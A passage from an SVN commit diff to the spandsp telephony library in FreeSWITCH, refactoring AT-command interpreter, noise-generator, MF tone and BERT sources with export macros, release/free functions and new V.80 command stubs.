+SPAN_DECLARE_NONSTD(void) async_rx_put_bit(void *user_data, int bit)
+{
     async_rx_state_t *s;
 
     s = (async_rx_state_t *) user_data;
@@ -182,13 +201,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-async_tx_state_t *async_tx_init(async_tx_state_t *s,
-                                int data_bits,
-                                int parity,
-                                int stop_bits,
-                                int use_v14,
-                                get_byte_func_t get_byte,
-                                void *user_data)
+SPAN_DECLARE(async_tx_state_t *) async_tx_init(async_tx_state_t *s,
+                                               int data_bits,
+                                               int parity,
+                                               int stop_bits,
+                                               int use_v14,
+                                               get_byte_func_t get_byte,
+                                               void *user_data)
 {
     if (s == NULL)
     {
@@ -214,8 +233,21 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int async_tx_get_bit(void *user_data)
+SPAN_DECLARE(int) async_tx_release(async_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) async_tx_free(async_tx_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE_NONSTD(int) async_tx_get_bit(void *user_data)
+{
     async_tx_state_t *s;
     int bit;
     

Modified: freeswitch/branches/seven/libs/spandsp/src/at_interpreter.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/at_interpreter.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/at_interpreter.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,13 +25,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: at_interpreter.c,v 1.30 2008/07/24 13:55:23 steveu Exp $
+ * $Id: at_interpreter.c,v 1.40 2009/07/10 13:15:56 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
@@ -52,9 +52,14 @@
 #include "spandsp/async.h"
 #include "spandsp/hdlc.h"
 #include "spandsp/fsk.h"
+#include "spandsp/super_tone_rx.h"
+#include "spandsp/fax_modems.h"
 
 #include "spandsp/at_interpreter.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/at_interpreter.h"
+
 #define ms_to_samples(t)        (((t)*SAMPLE_RATE)/1000)
 
 #define MANUFACTURER            "www.soft-switch.org"
@@ -71,7 +76,7 @@
 static at_profile_t profiles[3] =
 {
     {
-#if defined(_MSC_VER)
+#if defined(_MSC_VER)  ||  defined(__sunos)  ||  defined(__solaris)
         /*.echo =*/ TRUE,
         /*.verbose =*/ TRUE,
         /*.result_code_format =*/ ASCII_RESULT_CODES,
@@ -108,18 +113,6 @@
 #define DLE 0x10
 #define SUB 0x1A
 
-/* BEWARE: right now this must match up with a list in the T.31 code. */
-enum
-{
-    T31_NONE = -1,
-    T31_FLUSH = 0,
-    T31_SILENCE_TX,
-    T31_SILENCE_RX,
-    T31_CED_TONE,
-    T31_CNG_TONE,
-    T31_NOCNG_TONE,
-};
-
 static const char *at_response_codes[] =
 {
     "OK",
@@ -135,7 +128,7 @@
     "+FRH:3"
 };
 
-void at_set_at_rx_mode(at_state_t *s, int new_mode)
+SPAN_DECLARE(void) at_set_at_rx_mode(at_state_t *s, int new_mode)
 {
     /* The use of a DTE timeout is mode dependent. Set the timeout appropriately in
        the modem. */
@@ -153,7 +146,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void at_put_response(at_state_t *s, const char *t)
+SPAN_DECLARE(void) at_put_response(at_state_t *s, const char *t)
 {
     uint8_t buf[3];
     
@@ -167,7 +160,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void at_put_numeric_response(at_state_t *s, int val)
+SPAN_DECLARE(void) at_put_numeric_response(at_state_t *s, int val)
 {
     char buf[20];
 
@@ -176,10 +169,11 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void at_put_response_code(at_state_t *s, int code)
+SPAN_DECLARE(void) at_put_response_code(at_state_t *s, int code)
 {
     uint8_t buf[20];
 
+    span_log(&s->logging, SPAN_LOG_FLOW, "Sending AT response code %s\n", at_response_codes[code]);
     switch (s->p.result_code_format)
     {
     case ASCII_RESULT_CODES:
@@ -207,7 +201,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void at_call_event(at_state_t *s, int event)
+SPAN_DECLARE(void) at_call_event(at_state_t *s, int event)
 {
     span_log(&s->logging, SPAN_LOG_FLOW, "Call event %d received\n", event);
     switch (event)
@@ -235,11 +229,11 @@
         {
             /* FAX modem connection */
             at_set_at_rx_mode(s, AT_MODE_DELIVERY);
-            at_modem_control(s, AT_MODEM_CONTROL_RESTART, (void *) T31_CED_TONE);
+            at_modem_control(s, AT_MODEM_CONTROL_RESTART, (void *) FAX_MODEM_CED_TONE);
         }
         break;
     case AT_CALL_EVENT_CONNECTED:
-        span_log(&s->logging, SPAN_LOG_FLOW, "Dial call - connected. fclass=%d\n", s->fclass_mode);
+        span_log(&s->logging, SPAN_LOG_FLOW, "Dial call - connected. FCLASS=%d\n", s->fclass_mode);
         at_modem_control(s, AT_MODEM_CONTROL_RNG, (void *) 0);
         if (s->fclass_mode == 0)
         {
@@ -252,9 +246,9 @@
             /* FAX modem connection */
             at_set_at_rx_mode(s, AT_MODE_DELIVERY);
             if (s->silent_dial)
-                at_modem_control(s, AT_MODEM_CONTROL_RESTART, (void *) T31_NOCNG_TONE);
+                at_modem_control(s, AT_MODEM_CONTROL_RESTART, (void *) FAX_MODEM_NOCNG_TONE);
             else
-                at_modem_control(s, AT_MODEM_CONTROL_RESTART, (void *) T31_CNG_TONE);
+                at_modem_control(s, AT_MODEM_CONTROL_RESTART, (void *) FAX_MODEM_CNG_TONE);
             s->dte_is_waiting = TRUE;
         }
         break;
@@ -307,10 +301,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void at_reset_call_info(at_state_t *s)
+SPAN_DECLARE(void) at_reset_call_info(at_state_t *s)
 {
-    struct at_call_id *call_id;
-    struct at_call_id *next;
+    at_call_id_t *call_id;
+    at_call_id_t *next;
  
     for (call_id = s->call_id;  call_id;  call_id = next)
     {
@@ -323,13 +317,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void at_set_call_info(at_state_t *s, char const *id, char const *value)
+SPAN_DECLARE(void) at_set_call_info(at_state_t *s, char const *id, char const *value)
 {
-    struct at_call_id *new_call_id;
-    struct at_call_id *call_id;
+    at_call_id_t *new_call_id;
+    at_call_id_t *call_id;
 
     /* TODO: We should really not merely ignore a failure to malloc */
-    if ((new_call_id = (struct at_call_id *) malloc(sizeof(*new_call_id))) == NULL)
+    if ((new_call_id = (at_call_id_t *) malloc(sizeof(*new_call_id))) == NULL)
         return;
     call_id = s->call_id;
     /* If these strdups fail its pretty harmless. We just appear to not
@@ -351,10 +345,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void at_display_call_info(at_state_t *s)
+SPAN_DECLARE(void) at_display_call_info(at_state_t *s)
 {
     char buf[132 + 1];
-    struct at_call_id *call_id = s->call_id;
+    at_call_id_t *call_id = s->call_id;
 
     while (call_id)
     {
@@ -525,6 +519,64 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static int parse_n_out(at_state_t *s,
+                       const char **t,
+                       int *targets[],
+                       const int max_values[],
+                       int entries,
+                       const char *prefix,
+                       const char *def)
+{
+    char buf[100];
+    int val;
+    int len;
+    int i;
+
+    switch (*(*t)++)
+    {
+    case '=':
+        switch (**t)
+        {
+        case '?':
+            /* Show possible values */
+            (*t)++;
+            snprintf(buf, sizeof(buf), "%s%s", (prefix)  ?  prefix  :  "", def);
+            at_put_response(s, buf);
+            break;
+        default:
+            /* Set value */
+            for (i = 0;  i < entries;  i++)
+            {
+                if ((val = parse_num(t, max_values[i])) < 0)
+                    return FALSE;
+                if (targets[i])
+                    *targets[i] = val;
+                if (**t != ',')
+                    break;
+                (*t)++;
+            }
+            break;
+        }
+        break;
+    case '?':
+        /* Show current value */
+        len = snprintf(buf, sizeof(buf), "%s", (prefix)  ?  prefix  :  "");
+        for (i = 0;  i < entries;  i++)
+        {
+            if (i > 0)
+                len += snprintf(&buf[len], sizeof(buf) - len, ",");
+            val = (targets[i])  ?  *targets[i]  :  0;
+            len += snprintf(&buf[len], sizeof(buf) - len, "%d", val);
+        }
+        at_put_response(s, buf);
+        break;
+    default:
+        return FALSE;
+    }
+    return TRUE;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int parse_hex_out(at_state_t *s, const char **t, int *target, int max_value, const char *prefix, const char *def)
 {
     char buf[100];
@@ -927,7 +979,7 @@
     if (s->at_rx_mode != AT_MODE_ONHOOK_COMMAND  &&  s->at_rx_mode != AT_MODE_OFFHOOK_COMMAND)
     {
         /* Push out the last of the audio (probably by sending a short silence). */
-        at_modem_control(s, AT_MODEM_CONTROL_RESTART, (void *) T31_FLUSH);
+        at_modem_control(s, AT_MODEM_CONTROL_RESTART, (void *) FAX_MODEM_FLUSH);
         s->do_hangup = TRUE;
         at_set_at_rx_mode(s, AT_MODE_CONNECTED);
         return (const char *) -1;
@@ -3197,13 +3249,80 @@
 
 static const char *at_cmd_plus_ES(at_state_t *s, const char *t)
 {
+    static const int maxes[3] =
+    {
+        7, 4, 9
+    };
+    int *locations[3];
+
     /* V.250 6.5.1 - Error control selection */ 
+
+    /* orig_rqst
+        0:  Direct mode
+        1:  Initiate call with Buffered mode only
+        2:  Initiate V.42 without Detection Phase. If Rec. V.8 is in use, this is a request to disable V.42 Detection Phase
+        3:  Initiate V.42 with Detection Phase
+        4:  Initiate Altemative Protocol
+        5:  Initiate Synchronous Mode when connection is completed, immediately after the entire CONNECT result code
+            is delivered. V.24 circuits 113 and 115 are activated when Data State is entered
+        6:  Initiate Synchronous Access Mode when connection is completed, and Data State is entered
+        7:  Initiate Frame Tunnelling Mode when connection is completed, and Data State is entered
+
+       orig_fbk
+        0:  Error control optional (either LAPM or Alternative acceptable); if error control not established, maintain
+            DTE-DCE data rate and use V.14 buffered mode with flow control during non-error-control operation
+        1:  Error control optional (either LAPM or Alternative acceptable); if error control not established, change
+            DTE-DCE data rate to match line rate and use Direct mode
+        2:  Error control required (either LAPM or Alternative acceptable); if error control not established, disconnect
+        3:  Error control required (only LAPM acceptable); if error control not established, disconnect
+        4:  Error control required (only Altemative protocol acceptable); if error control not established, disconnect
+
+       ans_fbk
+        0:  Direct mode
+        1:  Error control disabled, use Buffered mode
+        2:  Error control optional (either LAPM or Alternative acceptable); if error control not established, maintain
+            DTE-DCE data rate and use local buffering and flow control during non-error-control operation
+        3:  Error control optional (either LAPM or Alternative acceptable); if error control not established, change
+            DTE-DCE data rate to match line rate and use Direct mode
+        4:  Error control required (either LAPM or Alternative acceptable); if error control not established, disconnect
+        5:  Error control required (only LAPM acceptable); if error control not established, disconnect
+        6:  Error control required (only Alternative protocol acceptable); if error control not established, disconnect
+        7:  Initiate Synchronous Mode when connection is completed, immediately after the entire CONNECT result code
+            is delivered. V.24 cicuits 113 and 115 are activated when Data State is entered
+        8:  Initiate Synchronous Access Mode when connection is completed, and Data State is entered
+        9:  Initiate Frame Tunnelling Mode when connection is completed, and Data State is entered */
+
     /* TODO: */
     t += 3;
+    locations[0] = NULL;
+    locations[1] = NULL;
+    locations[2] = NULL;
+    if (!parse_n_out(s, &t, locations, maxes, 3, "+ES:", "(0-7),(0-4),(0-9)"))
+        return NULL;
     return t;
 }
 /*- End of function --------------------------------------------------------*/
 
+static const char *at_cmd_plus_ESA(at_state_t *s, const char *t)
+{
+    static const int maxes[8] =
+    {
+        2, 1, 1, 1, 2, 1, 255, 255
+    };
+    int *locations[8];
+    int i;
+
+    /* V.80 8.2 - Synchronous access mode configuration */
+    /* TODO: */
+    t += 4;
+    for (i = 0;  i < 8;  i++)
+        locations[i] = NULL;
+    if (!parse_n_out(s, &t, locations, maxes, 8, "+ESA:", "(0-2),(0-1),(0-1),(0-1),(0-2),(0-1),(0-255),(0-255)"))
+        return NULL;
+    return t;
+}
+/*- End of function --------------------------------------------------------*/
+
 static const char *at_cmd_plus_ESR(at_state_t *s, const char *t)
 {
     /* V.250 6.5.3 - Selective repeat */ 
@@ -3806,18 +3925,66 @@
 
 static const char *at_cmd_plus_IBC(at_state_t *s, const char *t)
 {
-    /* TIA-617 8.3 - Control of in-band control */
+    static const int maxes[13] =
+    {
+        2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
+    };
+    int *locations[13];
+    int i;
+
+    /* V.80 7.9 - Control of in-band control */
     /* TODO: */
     t += 4;
+    /* 0: In-band control service disabled
+       1: In-band control service enabled, 7-bit codes allowed, and top bit insignificant
+       2; In-band control service enabled, 7-bit codes allowed, and 8-bit codes available
+    
+       Circuits 105, 106, 107, 108, 109, 110, 125, 132, 133, 135, 142 in that order. For each one:
+       0: disabled
+       1: enabled
+       
+       DCE line connect status reports:
+       0: disabled
+       1: enabled */
+    for (i = 0;  i < 13;  i++)
+        locations[i] = NULL;
+    if (!parse_n_out(s, &t, locations, maxes, 13, "+IBC:", "(0-2),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0,1),(0.1),(0,1)"))
+        return NULL;
     return t;
 }
 /*- End of function --------------------------------------------------------*/
 
 static const char *at_cmd_plus_IBM(at_state_t *s, const char *t)
 {
-    /* TIA-617 8.4 - In-Band MARK idle reporting control */
+    static const int maxes[3] =
+    {
+        7, 255, 255
+    };
+    int *locations[3];
+
+    /* V.80 7.10 - In-band MARK idle reporting control */
     /* TODO: */
     t += 4;
+    /* Report control
+        0: No reports
+        1: Report only once when <T1 > expires
+        2: Report each time <T2> expires
+        3: Report once when <T1> expires, and then each time <T2> expires
+        4: Report only when the Mark-ldle Period ends; T3 = the entire interval
+        5: Report the first time when <T1> is exceeded, and then once more when the mark idle period ends
+        6: Report each time when <T2> is exceeded, and then once more when the mark idle period ends;
+           T3 = entire interval -- N*T2
+        7: report the first time when <T1> is exceeded, and then each time <T2> is exceeded, and then once
+           more when the mark idle period ends; T3 = entire mark idle period -- N*T2 - T1
+           
+       T1 in units of 10ms
+        
+       T2 in units of 10ms */
+    locations[0] = NULL;
+    locations[1] = NULL;
+    locations[2] = NULL;
+    if (!parse_n_out(s, &t, locations, maxes, 3, "+IBM:", "(0-7),(0-255),(0-255)"))
+        return NULL;
     return t;
 }
 /*- End of function --------------------------------------------------------*/
@@ -3827,19 +3994,19 @@
     /* V.250 6.2.11 - DTE-DCE character framing */ 
     t += 4;
     /* Character format
-        0    auto detect
-        1    8 data 2 stop
-        2    8 data 1 parity 1 stop
-        3    8 data 1 stop
-        4    7 data 2 stop
-        5    7 data 1 parity 1 stop
-        6    7 data 1 stop
+        0:  auto detect
+        1:  8 data 2 stop
+        2:  8 data 1 parity 1 stop
+        3:  8 data 1 stop
+        4:  7 data 2 stop
+        5:  7 data 1 parity 1 stop
+        6:  7 data 1 stop
     
-       parity
-        0    Odd
-        1    Even
-        2    Mark
-        3    Space */
+       Parity
+        0:  Odd
+        1:  Even
+        2:  Mark
+        3:  Space */
     if (!parse_2_out(s, &t, &s->dte_char_format, 6, &s->dte_parity, 3, "+ICF:", "(0-6),(0-3)"))
         return NULL;
     return t;
@@ -3915,6 +4082,15 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static const char *at_cmd_plus_ITF(at_state_t *s, const char *t)
+{
+    /* V.80 8.4 - Transmit flow control thresholds */
+    /* TODO: */
+    t += 5;
+    return t;
+}
+/*- End of function --------------------------------------------------------*/
+
 static const char *at_cmd_plus_MA(at_state_t *s, const char *t)
 {
     /* V.250 6.4.2 - Modulation automode control */ 
@@ -5139,7 +5315,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int at_modem_control(at_state_t *s, int op, const char *num)
+SPAN_DECLARE(int) at_modem_control(at_state_t *s, int op, const char *num)
 {
     switch (op)
     {
@@ -5173,7 +5349,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void at_interpreter(at_state_t *s, const char *cmd, int len)
+SPAN_DECLARE(void) at_interpreter(at_state_t *s, const char *cmd, int len)
 {
     int i;
     int c;
@@ -5280,18 +5456,18 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void at_set_class1_handler(at_state_t *s, at_class1_handler_t handler, void *user_data)
+SPAN_DECLARE(void) at_set_class1_handler(at_state_t *s, at_class1_handler_t handler, void *user_data)
 {
     s->class1_handler = handler;
     s->class1_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-at_state_t *at_init(at_state_t *s,
-                    at_tx_handler_t *at_tx_handler,
-                    void *at_tx_user_data,
-                    at_modem_control_handler_t *modem_control_handler,
-                    void *modem_control_user_data)
+SPAN_DECLARE(at_state_t *) at_init(at_state_t *s,
+                                   at_tx_handler_t *at_tx_handler,
+                                   void *at_tx_user_data,
+                                   at_modem_control_handler_t *modem_control_handler,
+                                   void *modem_control_user_data)
 {
     if (s == NULL)
     {
@@ -5299,6 +5475,8 @@
             return NULL;
     }
     memset(s, '\0', sizeof(*s));
+    span_log_init(&s->logging, SPAN_LOG_NONE, NULL);
+    span_log_set_protocol(&s->logging, "AT");
     s->modem_control_handler = modem_control_handler;
     s->modem_control_user_data = modem_control_user_data;
     s->at_tx_handler = at_tx_handler;
@@ -5312,13 +5490,22 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int at_free(at_state_t *s)
+SPAN_DECLARE(int) at_release(at_state_t *s)
 {
     at_reset_call_info(s);
     if (s->local_id)
         free(s->local_id);
-    free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) at_free(at_state_t *s)
+{
+    int ret;
+
+    ret = at_release(s);
+    free(s);
+    return ret;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/awgn.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/awgn.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/awgn.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: awgn.c,v 1.17 2008/09/19 14:02:05 steveu Exp $
+ * $Id: awgn.c,v 1.22 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
@@ -43,23 +43,26 @@
    to ever be optimised. */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/saturated.h"
 #include "spandsp/awgn.h"
 
+#include "spandsp/private/awgn.h"
+
 /* Gaussian noise generator constants */
 #define M1 259200
 #define IA1 7141
@@ -93,14 +96,8 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-awgn_state_t *awgn_init_dbm0(awgn_state_t *s, int idum, float level)
+SPAN_DECLARE(awgn_state_t *) awgn_init_dbov(awgn_state_t *s, int idum, float level)
 {
-    return awgn_init_dbov(s, idum, level - DBM0_MAX_POWER);
-}
-/*- End of function --------------------------------------------------------*/
-
-awgn_state_t *awgn_init_dbov(awgn_state_t *s, int idum, float level)
-{
     int j;
 
     if (s == NULL)
@@ -131,8 +128,27 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int16_t awgn(awgn_state_t *s)
+SPAN_DECLARE(awgn_state_t *) awgn_init_dbm0(awgn_state_t *s, int idum, float level)
 {
+    return awgn_init_dbov(s, idum, level - DBM0_MAX_POWER);
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) awgn_release(awgn_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) awgn_free(awgn_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int16_t) awgn(awgn_state_t *s)
+{
     double fac;
     double r;
     double v1;

Modified: freeswitch/branches/seven/libs/spandsp/src/bell_r2_mf.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/bell_r2_mf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/bell_r2_mf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bell_r2_mf.c,v 1.29 2008/07/02 14:48:25 steveu Exp $
+ * $Id: bell_r2_mf.c,v 1.39 2009/04/11 18:11:19 steveu Exp $
  */
 
 /*! \file */
@@ -36,15 +36,16 @@
 #include <string.h>
 #include <time.h>
 #include <fcntl.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/queue.h"
 #include "spandsp/dc_restore.h"
 #include "spandsp/complex.h"
@@ -55,6 +56,10 @@
 #include "spandsp/dtmf.h"
 #include "spandsp/bell_r2_mf.h"
 
+#include "spandsp/private/queue.h"
+#include "spandsp/private/tone_generate.h"
+#include "spandsp/private/bell_r2_mf.h"
+
 #if !defined(M_PI)
 /* C99 systems may not define M_PI */
 #define M_PI 3.14159265358979323846264338327
@@ -62,6 +67,9 @@
 
 #define ms_to_samples(t)            (((t)*SAMPLE_RATE)/1000)
 
+/*!
+    MF tone descriptor.
+*/
 typedef struct
 {
     int         f1;         /* First freq */
@@ -272,7 +280,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int bell_mf_tx(bell_mf_tx_state_t *s, int16_t amp[], int max_samples)
+SPAN_DECLARE(int) bell_mf_tx(bell_mf_tx_state_t *s, int16_t amp[], int max_samples)
 {
     int len;
     const char *cp;
@@ -296,7 +304,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t bell_mf_tx_put(bell_mf_tx_state_t *s, const char *digits, int len)
+SPAN_DECLARE(int) bell_mf_tx_put(bell_mf_tx_state_t *s, const char *digits, int len)
 {
     size_t space;
 
@@ -308,15 +316,15 @@
         if ((len = strlen(digits)) == 0)
             return 0;
     }
-    if ((space = queue_free_space(&s->queue.queue)) < len)
-        return len - space;
+    if ((space = queue_free_space(&s->queue.queue)) < (size_t) len)
+        return len - (int) space;
     if (queue_write(&s->queue.queue, (const uint8_t *) digits, len) >= 0)
         return 0;
     return -1;
 }
 /*- End of function --------------------------------------------------------*/
 
-bell_mf_tx_state_t *bell_mf_tx_init(bell_mf_tx_state_t *s)
+SPAN_DECLARE(bell_mf_tx_state_t *) bell_mf_tx_init(bell_mf_tx_state_t *s)
 {
     if (s == NULL)
     {
@@ -335,14 +343,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int bell_mf_tx_free(bell_mf_tx_state_t *s)
+SPAN_DECLARE(int) bell_mf_tx_release(bell_mf_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) bell_mf_tx_free(bell_mf_tx_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int r2_mf_tx(r2_mf_tx_state_t *s, int16_t amp[], int samples)
+SPAN_DECLARE(int) r2_mf_tx(r2_mf_tx_state_t *s, int16_t amp[], int samples)
 {
     int len;
 
@@ -359,7 +373,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int r2_mf_tx_put(r2_mf_tx_state_t *s, char digit)
+SPAN_DECLARE(int) r2_mf_tx_put(r2_mf_tx_state_t *s, char digit)
 {
     char *cp;
 
@@ -379,7 +393,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-r2_mf_tx_state_t *r2_mf_tx_init(r2_mf_tx_state_t *s, int fwd)
+SPAN_DECLARE(r2_mf_tx_state_t *) r2_mf_tx_init(r2_mf_tx_state_t *s, int fwd)
 {
     int i;
     const mf_digit_tones_t *tones;
@@ -432,14 +446,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int r2_mf_tx_free(r2_mf_tx_state_t *s)
+SPAN_DECLARE(int) r2_mf_tx_release(r2_mf_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) r2_mf_tx_free(r2_mf_tx_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int bell_mf_rx(bell_mf_rx_state_t *s, const int16_t amp[], int samples)
+SPAN_DECLARE(int) bell_mf_rx(bell_mf_rx_state_t *s, const int16_t amp[], int samples)
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
     int32_t energy[6];
@@ -592,7 +612,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-size_t bell_mf_rx_get(bell_mf_rx_state_t *s, char *buf, int max)
+SPAN_DECLARE(size_t) bell_mf_rx_get(bell_mf_rx_state_t *s, char *buf, int max)
 {
     if (max > s->current_digits)
         max = s->current_digits;
@@ -607,9 +627,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-bell_mf_rx_state_t *bell_mf_rx_init(bell_mf_rx_state_t *s,
-                                    digits_rx_callback_t callback,
-                                    void *user_data)
+SPAN_DECLARE(bell_mf_rx_state_t *) bell_mf_rx_init(bell_mf_rx_state_t *s,
+                                                   digits_rx_callback_t callback,
+                                                   void *user_data)
 {
     int i;
     static int initialised = FALSE;
@@ -624,7 +644,7 @@
     if (!initialised)
     {
         for (i = 0;  i < 6;  i++)
-            make_goertzel_descriptor(&bell_mf_detect_desc[i], bell_mf_frequencies[i], BELL_MF_SAMPLES_PER_BLOCK);
+            make_goertzel_descriptor(&bell_mf_detect_desc[i], (float) bell_mf_frequencies[i], BELL_MF_SAMPLES_PER_BLOCK);
         initialised = TRUE;
     }
     s->digits_callback = callback;
@@ -646,14 +666,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int bell_mf_rx_free(bell_mf_rx_state_t *s)
+SPAN_DECLARE(int) bell_mf_rx_release(bell_mf_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) bell_mf_rx_free(bell_mf_rx_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int r2_mf_rx(r2_mf_rx_state_t *s, const int16_t amp[], int samples)
+SPAN_DECLARE(int) r2_mf_rx(r2_mf_rx_state_t *s, const int16_t amp[], int samples)
 {
 #if defined(SPANDSP_USE_FIXED_POINT)
     int32_t energy[6];
@@ -774,16 +800,16 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int r2_mf_rx_get(r2_mf_rx_state_t *s)
+SPAN_DECLARE(int) r2_mf_rx_get(r2_mf_rx_state_t *s)
 {
     return s->current_digit;
 }
 /*- End of function --------------------------------------------------------*/
 
-r2_mf_rx_state_t *r2_mf_rx_init(r2_mf_rx_state_t *s,
-                                int fwd,
-                                tone_report_func_t callback,
-                                void *user_data)
+SPAN_DECLARE(r2_mf_rx_state_t *) r2_mf_rx_init(r2_mf_rx_state_t *s,
+                                               int fwd,
+                                               tone_report_func_t callback,
+                                               void *user_data)
 {
     int i;
     static int initialised = FALSE;
@@ -801,8 +827,8 @@
     {
         for (i = 0;  i < 6;  i++)
         {
-            make_goertzel_descriptor(&mf_fwd_detect_desc[i], r2_mf_fwd_frequencies[i], R2_MF_SAMPLES_PER_BLOCK);
-            make_goertzel_descriptor(&mf_back_detect_desc[i], r2_mf_back_frequencies[i], R2_MF_SAMPLES_PER_BLOCK);
+            make_goertzel_descriptor(&mf_fwd_detect_desc[i], (float) r2_mf_fwd_frequencies[i], R2_MF_SAMPLES_PER_BLOCK);
+            make_goertzel_descriptor(&mf_back_detect_desc[i], (float) r2_mf_back_frequencies[i], R2_MF_SAMPLES_PER_BLOCK);
         }
         initialised = TRUE;
     }
@@ -824,8 +850,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int r2_mf_rx_free(r2_mf_rx_state_t *s)
+SPAN_DECLARE(int) r2_mf_rx_release(r2_mf_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) r2_mf_rx_free(r2_mf_rx_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/bert.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/bert.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/bert.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: bert.c,v 1.28 2008/09/07 12:45:16 steveu Exp $
+ * $Id: bert.c,v 1.33 2009/04/14 16:04:53 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -41,10 +41,15 @@
 #include "spandsp/async.h"
 #include "spandsp/bert.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/bert.h"
+
+#define MEASUREMENT_STEP    100
+
 static const char *qbf = "VoyeZ Le BricK GeanT QuE J'ExaminE PreS Du WharF 123 456 7890 + - * : = $ % ( )"
